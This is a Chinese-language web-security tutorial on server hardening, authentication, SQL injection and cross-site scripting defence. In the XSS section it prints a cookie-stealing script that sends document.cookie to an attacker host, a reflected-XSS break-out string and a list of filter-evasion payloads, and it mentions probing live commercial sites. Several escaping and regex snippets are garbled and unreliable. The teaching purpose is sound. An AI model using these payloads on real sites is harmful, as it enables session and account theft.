您现在的位置: 365建站网 > 365学习 > 网站安全性设计

网站安全性设计

文章来源:365jz.com     点击数:933    更新时间:2009-09-12 16:49   参与评论

网站安全性设计

 


目录

一、系统管理方面的安全性考虑 ... 3

1、首当其冲的是服务器的安全 ... 3

2、其次是 FTP或者远程管理等的帐号安全 ... 3

3、应用服务器的安全性。 ... 3

4、数据库的安全性 ... 4

1      修改mySQL 的监听地址: ... 5

2 )尽量养成在 mysql 下输入密码的习惯,因为 Shell 下面输入的时候可能会被其它人看见。     5

3 )删除历史命令记录 ... 5

4 )设置数据库的访问权限 ... 5

5、数据的安全备份与恢复机制。 ... 5

6、防止感染病毒或木马的图片或附件上传到网站上。 ... 5

7、使用网页防篡改工具。 ... 5

8、使用防火墙、入侵检测、 WEB安全网关等安全软件来保护系统。 ... 5

9、使用 WEB应用防火墙 ... 5

10、使用漏洞扫描工具对网站进行安全性测 ... 5

二、网站开发方面的安全性考虑 ... 5

1. 用户身份验证 ... 5

2、使用 HTTPS进行用户身份认证。如果不采用这条,至少要采用第一条。 ... 6

3、双重验证 ... 6

4、抗 SQL注入式攻击 ... 6

5、使用 Acegi进行权限控制。 ... 7

6、抗 Cross-Site Scripting. 7

风险: ... 7

技术说明: ... 7

恶意代码可能会做: ... 7

一些注释: ... 7

攻击方法: ... 7

根本原因: ... 8

解决方式: ... 8

使用时机: ... 8

分类: ... 8

实施方式: ... 9

危害: ... 10

防范: ... 11

发现问题: ... 13

参考资料: ... 14

7 、网站的错误信息必须经过处理后再输出 ... 14


 

一个网站,安全问题可能从多方面而来。光是任何一方面,都不可能保证绝对的安全。一个安全的网站,必须要各方面配合才能打造出来。

 

一、系统管理方面的安全性考虑

1 、首当其冲的是服务器的安全

服务器本身如果被人入侵了,你的网站系统再安全,那也没有任何作用。记得要关闭所有没有使用的端口。要设置复杂的密码,关闭没有使用的账户。

2 、其次是FTP 或者远程管理等的帐号安全

如果人家破解了你的FTP 或者远程管理权限,那也就等于窗户开给人家怕,那家里的东西自然是随便拿了。

3 、应用服务器的安全性。

3.1Jboss 安全加固

(一)、 前言:

Jboss 默认安装以后,会默认打开http://127.0.0.1 ,显示如下:

1.  JBoss Online Resources

2.  JBoss 4.0 documentation

3.  JBoss Wiki

4.  JBoss forums

5.  JBoss Management

6.  Tomcat status (full) (XML)

7.  JMX Console

8.  JBoss Web Console


Jmx Console
Jboss Web Console 里面可以修改和删除应用的参数,如果不加强安全设置,将会带来严重安全后果。

(二)、 关闭管理端口和相关统计信息:

1 、 关闭jmx-console
删除
/export/home/jboss-4.0.3SP1/server/default/deploy
下目录jmx-console.warmanagement
2
、 关闭web-console
删除
/export/home/jboss-4.0.3SP1/server/default/deploy/jbossweb-tomcat55.sar
下目录ROOT.war
3
、 关闭status 统计信息:
修改/export/home/jboss-4.0.3SP1/server/default/deploy/ROOT.war/WEB-INF/web.xml
屏蔽其中jboss 的内容: 粗体为添加屏蔽符号:
<!--display-name>Welcome to JBoss </display-name>
<description>
Welcome to JBoss
</description>
<servlet>
<servlet-name>Status Servlet </servlet-name>
<servlet-class>org.jboss.web.tomcat.tc5.StatusServlet </servlet-class>
</servlet-->

<!--servlet-mapping>
<servlet-name>Status Servlet </servlet-name>
<url-pattern>/status </url-pattern>
</servlet-mapping-->
4
、 删除jboss 主页相目录和文件:
/export/home/jboss-4.0.3SP1/server/default/deploy/ROOT.war
下:Manager /favicon.ico/jboss.CSS/jbossindex.HTML/logo.gif

lion:/export/home/jboss-4.0.3SP1/server/default/deploy/ROOT.war # rm -rf manager favicon.ico jboss.css jbossindex.html logo.gif
5
、 备注:

(三)、 关闭完成测试:

1 http://127.0.0.1/jmx-console
2
http://127.0.0.1/web-console
3
http://127.0.0.1/jbossindex.html
4
http://127.0.0.1/status
5
、 测试结果:保证上述的服务都已关闭

4 、数据库的安全性

设置数据库只有应用服务器才能连接。其他外部的机器一概不能连接。设置复杂的密码。

 

(1)    修改mysql 的监听地址

默认mysql 是监控所有的ip 地址,也就是0.0.0 .0 ,为了安全考虑,我们也许只要mysql 监控本地地址就好了。那么可以只要修改/etc/init.d/mysqld 文件,在start 部分找到类似下面这行

$bindir/mysqld_safe --defaults-file=/etc/my.cnf --datadir=$datadir --pid-file=$pid_file >/dev/null 2>&1
  修改成下面的这个样子
  $bindir/mysqld_safe --defaults-file=/etc/my.cnf --datadir=$datadir --pid-file=$pid_file --bind-address=127.0.0.1 >/dev/null >2&1

  注意:对于绑定地址这个参数不要加在–defaults-file 参数前面,否则mysql 会启动不了,并给出下面的错误:
  051025 9:57:27 [ERROR] /usr/libexec/mysqld: unknown variable 'defaults-file=/etc/my.cnf' 所以我们把–defaults-file= 参数放在最前面。
  或者你可以在/etc/my.cnf
  [mysqld] 段加入
  bind-address=127.0.0.1 这样一行。
  重启mysql ,即可生效。

2 )尽量养成在 mysql 下输入密码的习惯,因为 Shell 下面输入的时候可能会被其它人看见。

3 )删除历史命令记录

这些历史文件包括 ~/.bash_history ~/.mysql_history 等。如果打开它们,你会大吃一惊,怎么居然有一些明文的密码在这里?!

4 )设置数据库的访问权限

5 、数据的安全备份与恢复机制。

6 、防止感染病毒或木马的图片或附件上传到网站上。

7 、使用网页防篡改工具。

8 、使用防火墙、入侵检测、WEB 安全网关等安全软件来保护系统。

9 、使用WEB 应用防火墙

10 、使用漏洞扫描工具对网站进行安全性测试

二、网站开发方面的安全性考虑

1. 用户身份验证

传统的用户验证过程如下:将客户端输入的验证信息进行MD5 加密形成 密文 1” ,发送到服务器端,服务器端从数据库读出验证信息的MD5 值(密文2 ),然后 密文1” 密文2” 对比,若相等则认证成功,否则失败。 但是,如果 密文1” 在传输过程中被非法获取,非法用户即使不知道 密文1” 的内容,直接向服务器发送 密文1” 并请求验证,则验证可能成功,用户的真实 性无法保证。因此,需要对用户的验证过程进行改进。在客户端请求验证的同时,通过ajax 技术异步向服务器申请一个临时的验证码,客户端将用户信息进行n MD5 混合运算后生成 密文1” ,附加验证码一起发送到服务器,服务器首先检查验证码是否与服务器端一致,若一致,到数据库中检索是否存在 密文1” 的 用户,存在则成功,否则失败。验证码是改进后的验证关键,同时验证码还可以防止入侵者使用程序自动登录服务器,进行密码的暴力破解。因此,技术上要求不能 被复制,不能被扫描仪自动识别,随机生成。采用模糊的图片方式才能达到要求。

2 、使用HTTPS 进行用户身份认证。如果不采用这条,至少要采用第一条。

3 、双重验证

有些系统只在客户端进行验证,这是很不安全的。因为在传输过程中有可能被恶意篡改,服务器得到的将不是真实的数据,或者直接在URL 中输验证请求,将会绕过客户端的验证程序,提交不安全的数据。因此,可以采用双重验证的方式,客户端 的验证可以提高与用户的交互性,服务器端的验证保证数据的安全性。

4 、抗SQL 注入式攻击

SQL 注入式攻击是指在输入框或URL 中输入SQL 语句,绕过验证程序,非法获取用户的访问权,进行非法操作的入侵方式。防御SQL 注入式攻击的方法常用两种,一种是使用数据库管理系统的存储过程,另一种是对输入的信息和URL 请求信息中的敏感关键字过滤。

怎样防止SQL 注入?
    
比如URL 、表单等提交信息时,通过一段防止SQL 注入的过滤代码即可防止出错信息暴露,或者通过转向,当系统出错时转到一个提示出错的页面等。同时服务器权限设置是一个非常重要的方面,由于涉及到服务器的配置比较多,本文不介绍。

对于文本型输入,如果要进行检查,就得根据字段本身的性质进行。例如如果是年龄,就得限定必须是数字,大小必须限定在一个范围之间,比如说18-120 之间。对于用户名,应该建立一个集合,这个集合里存放有被允许的字符,或被禁止的字符。

这里特别需要说明的一点是关于检查程序的问题。目前,程序对输入数据的检查是在前台通过客户端脚本完成的,这样攻击者很容易就可以绕过检查程序。建议采用前后台结合的方法,既可以保证效率,有可以提高安全性。

5 、使用Acegi 进行权限控制。

6 、抗Cross-Site Scripting

风险:

    可以偷盗或者操作用户SessionCookie ,这样攻击者可以扮演一个合法的客户进行操作。

 

技术说明:

    Cross-Site Scripting 是一种秘密攻击行为,它能使得攻击者获得合法客户的身份和特定的服务器进行交互。攻击者利用这样一个事实:网站未对用户在页面中输入的JavaScript (通常是作为参数值)进行清洗(消毒)。这样,当在返回信息中包含这段JavaScript 代码,这段代码就会在客户端的Browser 中执行。这样可能形成一个指向带有恶意代码的网站链接。这串代码在这个站点环境中就会执行,收集可以获取的这个站点或者正在浏览这个网站的其他窗口的cookie

    攻击者会做进一步处理:攻击者会诱使用户点击这个由攻击者生成的链接。如果用户点了这个链接,将会向包含恶意代码作为参数的网站发起一个请求。如果这个网站将这串参数值(恶意代码)嵌入在返回中,恶意代码将在客户端的浏览器中执行:

 

恶意代码可能会做:

1. 将用户的cookie 发送给攻击者

2. 将能够通过Dom(URLs, Form field 。。。) 取到的信息发送给攻击者,结果是客户的安全性受到了威胁。

 

一些注释:

1. 虽然攻击者的Web Site 也被卷入,但是并没有直接包含进来。攻击者通过采用“jump station ”方式将返回客户,好像是合法的(It is used as a 'jump station' for the malicious script sent by the attacker, to return to the victim's browser, as if it is legitimate. )。无论如何,由于用户是在使用这个特定的网站,而且是这个网站的直接返回,因此可以认为是这个网站的安全漏洞。

2. 这个怀有恶意的链接由攻击者生成,可以包含在攻击者自己维护的网站中。这个链接攻击者也可以通过发送email 的方式发送给受害人。

3 .由于用户输入是作为form 的字段值,可以知道这串恶意代码从什么地方来的,

4. 各种浏览器实现的不一样,有时候在这种浏览器上没有问题,但是换一种浏览器就会有问题。

 

攻击方法:

    写一个链接:  参数值为:

<SCRIPT>

document.location= 'http://attackerhost.example/cgi-bin/cookiesteal.cgi?+document.cookie

</SCRIPT>

    这样,当服务器返回时,上面这串脚本将自动执行,将本地的Cookie 发现指定的URL ,用户资料泄露了。

 

根本原因:

1. 没有对输入进行约束,没有对输出进行编码
2.
没有严格区分 数据 代码

 

解决方式:

1. 加强对参数的校验:
一定要做,大量的漏洞都是针对参数未作校验引出很多攻击手法( 会有如何检查参数的单独说明)

 

使用时机:

我尝试在各种不同网站寻找 XSS 漏洞, baidu, amazon.cn, youku.com,dangdang.com 等等。结果,我发现XSS 漏洞非常普遍!其实XSS 利用的是网页的回显,即,接收用户的输入,然后再在页面 显示用户的输入。总结一下几个可能会出现漏洞的地方:

1.    搜索引擎

2.    留言板

3.    错误页面

通过在上面那些类型的页面输入一些特殊的字符(包括< > / " ),如:</?jjkk> ,然后在结果页中的源码处搜索是否存在原样的:</?jjkk> ,如果存在,恭喜你,发现了一个XSS 漏洞。

 

分类:

1. DOM-based cross-site scripting
页面本身包含一些DOM 对象的操作,如果未对输入的参数进行处理,可能会导致执行恶意脚本。如下面一些DOM 操作:

document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)

 
举个例子,假如某个脆弱的页面的代码如下:
<HTML>
<TITLE> Welcome! </TITLE>
    Hi
<SCRIPT>
var pos=document.URL.indexOf( "name=" )+ 5 ;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
    Welcome to our system
    …
</HTML>
 
攻击者使用如下的URL 访问时,则非常危险:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
 
试 了一下,貌似IEFireFox 等浏览器默认 对<script>alert(document.cookie)</script> 进行了编码,阻止了脚本的执行。但是对于 DOM 操作还是要更加谨慎啊,比如把上面的页面修改一下,安全性就增强了不少:
<SCRIPT>
 
var pos=document.URL.indexOf( "name=" )+ 5 ;
 
var name=document.URL.substring(pos,document.URL.length);
 
if (name.match( /^[a-zA-Z0-9]$/ ))
 {
document.write(name);
 }
 
else
 {
window.alert(
"Security error" );
 }
</SCRIPT>
 2. Reflected cross-site scripting
       
也被称为None-Persistent cross-sitescripting ,即,非持久化的XSS 攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本 代码参数的URL ,当URL 地址被打开时,特有的恶意代码参数被HTML 解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接菜能引起。
 3. Persistent cross-site scripting
       
持久化XSS 攻击,指的是恶意脚本代码被存储进被攻击的数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存入非法数据,恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。

 

实施方式:


我们来试一把Reflected cross-site scripting 。当我们在某网站输入参数XXX ,发现参数XXX 原样的出现在了页面源码中:

<input type= "text" class= "Seach" name= "w" value= "XXX" />
OK
,可以开始做文章了,我们将XXX 替换为:abc"/><script>alert('haha')</script><a href=" ,返回的HTML 代码如下:

<input type= "text" class= "Seach" name= "w" value= "abc" /><script> alert( 'haha' ) </script> <!--" />
这样,<script>alert('haha')</script> 被执行了。这里再举例一些XSS 攻击行为:
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav    ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);
更加详细的列表请参见 5

 

危害:

1.    盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2.    控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3.    盗窃企业重要的具有商业价值的资料

4.    非法转账

5.    强制发送电子邮件

6.    网站挂马

7.    控制受害者机器向其它网站发起攻击

防范:

1.    必须明确:一切输入都是有害的,不要信任一切输入的数据。

2.    缓和XSS 问题的首要法则是确定哪个输入是有效的,并且拒绝所有别的无效输入。

3.         替 换危险字符,如:"&", "<", ">", """"'", "/", "?"";", ":", "%", "<SPACE>", "=", "+" 。各种语言替换的程度不尽相同,但是基本上能抵御住一般的XSS 攻击。
    [list=a]

4.            python cgi.escape 函数:
        
        def escape (s, quote=None):
        
'''Replace special characters "&", "<" and ">" to HTML-safe sequences.
        
    If the optional flag quote is true, the quotation mark character (")
        
    is also translated.'''
         s = s.replace(
"&" , "&" ) # Must be done first!
         s = s.replace(
"<" , "<" )
         s = s.replace(
">" , ">" )
        
if quote:
         s = s.replace(
'"' , """ )
        
return s         

5.            ASP 中的Server.HTMLEncode
        <%= Server.HTMLEncode("The paragraph tag: <P> ") %>         

6.            ASP.NET Server.HtmlEncodeServer.UrlEncode
                String TestString = "This is a <Test String>." ;
        String EncodedString = Server.HtmlEncode(TestString);
        Server.UrlEncode(Request.Url.ToString());
                

7.            PHP htmlspecialchars 方法:
        
        <?php
         
$new = htmlspecialchars( "<a href='test'>Test</a>" , ENT_QUOTES);
         
echo $new ; // <a href='test'>Test</a>
        
?>         

8.            JAVA 中的java.net.URLEncode.encode
                String mytext = java. net . URLEncoder . encode ( "
中国" , "utf-8" );

9.      有些网站使用过滤javascript 关键字的办法来防止XSS ,其实是很不明智的,因为XSS 有时候根本就不需要javascript 关键字或者对javascript 关键字进行格式变化来躲过过滤。

10. 为所有的标记属性加上双引号。应该说这也不是万全之策,只是在转义了双引号的前提下的一道安全保障。比如:
    
不加双引号时,onclick 被执行了:
    <a href= http://www.xxx.com/detail.asp?id=2008 onclick= 'javascrpt:alert(' haha ')' >     
加上了双引号,onclick 不会被执行:    <a href= "http://www.xxx.com/detail.asp?id=2008haha')'" >

11. 将数据插入到innerText 属性中,脚本将不会被执行。如果是innerHTML 属性,则必须确保输入是安全的。如ASP.NET 中:        <%@ Page Language= "C#" AutoEventWireup= "true" %>
    <html>
     <body>
     <span id=
"Welcome1" runat= "server" > </span>
     <span id=
"Welcome2" runat= "server" > </span>
     </body>
    </html>
    <script runat=
"server" >
     
private void Page_Load (Object Src, EventArgs e)
     
{
    
// Using InnerText renders the content safe–no need to HtmlEncode
     Welcome1.InnerText =
"haha" ;
    
// Using InnerHtml requires the use of HtmlEncode to make it safe
     Welcome2.InnerHtml =
"Hello, " + Server.HtmlEncode( "haha" );
     
}
    </Script>

12. 使用IE6.0SP1cookie 选项HttpOnly ,注意,HttpOnly 只能阻止恶意脚本读取cookie ,并不能阻止XSS 攻击。比如在ASP.NET 中:
        HttpCookie cookie = new HttpCookie( "Name" , "ZhangChangrong" );
    cookie.Path =
"/; HttpOnly" ;
    Response.Cookies.Add(cookie);

13. 使用IE<IFrame>Security 属性,设置为restricted 后,frame 中的脚本将不能执行( 仅限于IE) 。如:
    <iframe security= "restricted" src= "http://www.somesite.com/somepage.htm" ></frame>

14. ASP.NET 中的ValidateRequest 配置选项。默认情况下,这个功能是开启的,这个功能将会检查用户是否试图在cookie 、查询字符串以及HTML 表格 中设置HTML 或脚本。如果请求包含这种潜在的危险输入,就会抛出一个HttpRequestValidationException 异常。我在尝试试探 当当网的XSS 漏洞时发现这个异常信息,可以说当当网使用了ValidateRequest 这个选项,或者从另一方面说,也许是无意中启用了这一选项,同 时,将错误信息抛出给用户是非常不安全的。

15. 给一个页面设置ValidateRequest 选项:

                <%@ Page Language= "C#" ValidateRequest= "false" %>                 

a.             Machine.config 中设置全局ValidateRequest 选项,注意,如果在Web.config 中重新设置,不会覆盖Machine.config 中的这一设置:
                <system.web>
         <pages buffer=
"true" validateRequest= "true" />
        </system.web>
                

  1. 让我们来目睹当当网给我们带来的这一盛况:        

 

  1. 在一些必须使用到HTML 标签的地方,比如公告栏,可以使用其他格式的标示代替,比如论坛中广泛使用的BBCode ,用...["i] 来表示斜体。

  然而,对于一些允许用户输入特定HTML 的地方,强烈建议使用正则表达式进行匹配。比如:    if ( /^(?:["s"w"?"!","."'""]*|(?:"<"/"?(?:i|b|p|br|em|pre)">))*$/i )
    {
    
#Cool, it's valid input
    }
 

 

发现问题:

1.    查找所有包含用户输入的入口。

2.    跟踪流入应用程序的每一个数据。

3.    确定数据是否与输出有关系。

4.    如果与输出有关,它是不是原始数据,是不是经过处理的?

 

参考资料:

1.http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml

2.Michael Howard, David LeBlanc. "Writing Secure Code"
3.Mike Andrews, James A. Whittaker "How to Break Web Software"
4.http://en.wikipedia.org/wiki/Cross-site_scripting
5.Klein, Amit (July 4, 2005). "DOM Based Cross Site Scripting or XSS of the Third Kind". Web Application Security Consortium. Retrieved on 2008-05-28
6.
http://ha.ckers.org/xss.html

 

7 、网站的错误信息必须经过处理后再输出

  错误消息常常包含非常可怕的技术细节,帮助黑客攻破您的网站,您应当对网站底层程序的错误消息进行处理,防止那些调试信息,技术细节暴露给普通访问者。

如对本文有疑问,请提交到交流论坛,广大热心网友会为你解答!! 点击进入论坛


发表评论 (933人查看0条评论)
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
用户名: 验证码: 点击我更换图片
最新评论
------分隔线----------------------------